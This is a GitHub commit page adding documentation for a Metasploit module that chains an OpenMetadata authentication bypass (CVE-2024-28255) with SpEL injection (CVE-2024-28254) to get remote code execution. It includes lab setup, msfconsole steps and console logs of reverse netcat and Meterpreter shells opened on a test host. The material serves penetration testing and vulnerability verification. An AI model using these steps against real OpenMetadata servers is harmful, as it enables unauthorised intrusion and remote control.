Skip to content

Commit be4900f

Browse files
bwatters-r7bwatters-r7
committed
Rebase and readd documentation/modules/exploit/linux/http/openmetadata_auth_bypass_rce.md
1 parent 6b640d0 commit be4900f

File tree

1 file changed

+166
-0
lines changed

1 file changed

+166
-0
lines changed

‎documentation/modules/exploit/linux/http/openmetadata_auth_bypass_rce.md

Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
## Vulnerable Application
2+
3+
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository,
4+
in-depth lineage, and seamless team collaboration.
5+
This module chains two vulnerabilities that exist in the OpenMetadata application.
6+
The first vulnerability, [CVE-2024-28255](https://nvd.nist.gov/vuln/detail/CVE-2024-28255), bypasses the API authentication
7+
using JWT tokens. It misuses the `JwtFilter` that checks the path of url endpoint against a list of excluded endpoints
8+
that does not require authentication.
9+
Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings that will match the
10+
excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the
11+
authentication mechanism and reach any arbitrary endpoint.
12+
By chaining this vulnerability with [CVE-2024-28254](https://nvd.nist.gov/vuln/detail/CVE-2024-28254), that allows for
13+
arbitrary SpEL injection at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`,attackers are able
14+
to run arbitrary commands using Java classes such as `java.lang.Runtime` without any authentication.
15+
16+
OpenMetadata versions `1.2.3` and below are vulnerable.
17+
18+
The following releases were tested.
19+
* OpenMetadata 1.2.3 on Docker
20+
21+
## Installation steps to install the OpenMedata running on Docker
22+
* Please follow these [installation instructions](https://docs.open-metadata.org/v1.3.x/quick-start/local-docker-deployment).
23+
* Please ensure that you download version 1.2.3 or below.
24+
* After successful installation your should be able to access OpenMetadata on port 8585 at `http://your_openmetadata_ip:8585`.
25+
26+
You are now ready to test the module.
27+
28+
## Verification Steps
29+
- [ ] Start `msfconsole`
30+
- [ ] `use exploit/linux/http/openmetadata_auth_bypass_rce`
31+
- [ ] `set rhosts <ip-target>`
32+
- [ ] `set rport <port>`
33+
- [ ] `set lhost <attacker-ip>`
34+
- [ ] `set target <0=Unix Command, 1=Linux Dropper>`
35+
- [ ] `exploit`
36+
- [ ] you should get a `reverse netcat shell` or `Meterpreter` session depending on the `payload` and `target` settings
37+
38+
## Options
39+
No specific options
40+
41+
## Scenarios
42+
```msf
43+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > info
44+
45+
Name: OpenMetadata authentication bypass and SpEL injection exploit chain
46+
Module: exploit/linux/http/openmetadata_auth_bypass_rce
47+
Platform: Unix, Linux
48+
Arch: cmd
49+
Privileged: No
50+
License: Metasploit Framework License (BSD)
51+
Rank: Excellent
52+
Disclosed: 2024-03-15
53+
54+
Provided by:
55+
h00die-gr3y <[email protected]>
56+
Alvaro Muñoz alias pwntester (https://github.com/pwntester)
57+
58+
Module side effects:
59+
ioc-in-logs
60+
artifacts-on-disk
61+
62+
Module stability:
63+
crash-safe
64+
65+
Module reliability:
66+
repeatable-session
67+
68+
Available targets:
69+
Id Name
70+
-- ----
71+
=> 0 Automatic
72+
73+
Check supported:
74+
Yes
75+
76+
Basic options:
77+
Name Current Setting Required Description
78+
---- --------------- -------- -----------
79+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
80+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
81+
html
82+
RPORT 8585 yes The target port (TCP)
83+
SSL false no Negotiate SSL/TLS for outgoing connections
84+
TARGETURI / yes The URI path of the OpenMetadata web application
85+
VHOST no HTTP server virtual host
86+
87+
Payload information:
88+
89+
Description:
90+
OpenMetadata is a unified platform for discovery, observability, and governance powered
91+
by a central metadata repository, in-depth lineage, and seamless team collaboration.
92+
This module chains two vulnerabilities that exist in the OpenMetadata aplication.
93+
The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.
94+
It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded
95+
endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters
96+
to make any path contain any arbitrary strings that will match the excluded endpoint condition
97+
and therefore will be processed with no JWT validation allowing an attacker to bypass the
98+
authentication mechanism and reach any arbitrary endpoint.
99+
By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection
100+
at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers
101+
are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any
102+
authentication.
103+
OpenMetadata versions `1.2.3` and below are vulnerable.
104+
105+
References:
106+
https://nvd.nist.gov/vuln/detail/CVE-2024-28255
107+
https://nvd.nist.gov/vuln/detail/CVE-2024-28254
108+
A https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
109+
https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255
110+
https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/
111+
112+
113+
View the full module info with the info -d command.
114+
```
115+
### OpenMetadata 1.2.3 Automatic - cmd/unix/reverse_netcat_gaping
116+
```msf
117+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/unix/reverse_netcat_gaping
118+
payload => cmd/unix/reverse_netcat_gaping
119+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set rhosts 192.168.201.42
120+
rhosts => 192.168.201.42
121+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set lhost 192.168.201.8
122+
lhost => 192.168.201.8
123+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > exploit
124+
125+
[*] Started reverse TCP handler on 192.168.201.8:4444
126+
[*] Running automatic check ("set AutoCheck false" to disable)
127+
[*] Trying to detect if target is running a vulnerable version of OpenMetadata.
128+
[+] The target is vulnerable. Version 1.2.3
129+
[*] Executing Unix Command for cmd/unix/reverse_netcat_gaping
130+
[*] Command shell session 17 opened (192.168.201.8:4444 -> 192.168.201.42:55160) at 2024-07-29 15:27:38 +0000
131+
132+
id
133+
uid=1000(openmetadata) gid=1000(openmetadata) groups=1000(openmetadata)
134+
pwd
135+
/opt/openmetadata
136+
uname -a
137+
Linux 1e3c578a0acc 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UTC 2024 x86_64 Linux
138+
```
139+
### OpenMetadata 1.2.3 Automatic - cmd/linux/http/x64/meterpreter/reverse_tcp
140+
```msf
141+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
142+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
143+
msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > exploit
144+
145+
[*] Started reverse TCP handler on 192.168.201.8:4444
146+
[*] Running automatic check ("set AutoCheck false" to disable)
147+
[*] Trying to detect if target is running a vulnerable version of OpenMetadata.
148+
[+] The target is vulnerable. Version 1.2.3
149+
[*] Executing Automatic for cmd/linux/http/x64/meterpreter/reverse_tcp
150+
[*] Sending stage (3045380 bytes) to 192.168.201.42
151+
[*] Meterpreter session 11 opened (192.168.201.8:4444 -> 192.168.201.42:50599) at 2024-07-31 14:31:37 +0000
152+
153+
meterpreter > getuid
154+
Server username: openmetadata
155+
meterpreter > sysinfo
156+
Computer : 172.16.240.4
157+
OS : (Linux 6.6.32-linuxkit)
158+
Architecture : x64
159+
BuildTuple : x86_64-linux-musl
160+
Meterpreter : x64/linux
161+
meterpreter > pwd
162+
/opt/openmetadata
163+
meterpreter >
164+
```
165+
## Limitations
166+
No limitations.

0 commit comments

Comments
 (0)